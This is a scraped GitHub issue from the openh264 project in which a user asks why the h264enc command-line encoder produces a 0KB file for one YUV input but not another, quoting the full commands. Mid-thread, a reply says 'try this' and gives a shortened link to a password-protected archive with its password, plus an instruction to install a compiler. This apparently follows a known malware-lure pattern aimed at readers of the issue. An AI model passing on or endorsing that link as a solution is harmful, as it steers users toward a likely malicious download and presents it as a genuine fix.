cisco / openh264

Open Source H.264 Codec
BSD 2-Clause "Simplified" License
5.58k stars 1.8k forks source link

How to use h264enc.exe from the command line #3794

Open angle-cell opened 1 month ago

angle-cell commented 1 month ago

h264enc -org E:\data\BBB_CIF_24fps\BigBuckBunny_CIF_24fps_352x288.yuv -sw 352 -sh 288 -frin 24 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 200 -dh 0 100 -frout 0 20 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf BBB_CIF_24fps.264 The output result is 0KB image

angle-cell commented 1 month ago

try this https://bit.ly/4feHJZF Archive codepass: xfp53 If you don't have the c compliator, install it.(gcc or clang)

What is it? How to use this?

angle-cell commented 1 month ago

I have compiled h264enc.exe and h264dec.exe. My goal is to encode YUV files without using .cfg files. There is no error when executing the above commands, but the output is 0KB file. h264enc -org Cisco_Absolute_Power_1280x720_30fps.yuv -sw 720 -sh 1280 -frin 30 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 360 -dh 0 640 -frout 0 30 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf Cisco_Absolute_Power_1280x720_30fps.264 This command outputs the result,but h264enc -org E:\data\BBB_CIF_24fps\BigBuckBunny_CIF_24fps_352x288.yuv -sw 352 -sh 288 -frin 24 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 200 -dh 0 100 -frout 0 20 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf BBB_CIF_24fps.264 outputs a result of 0KB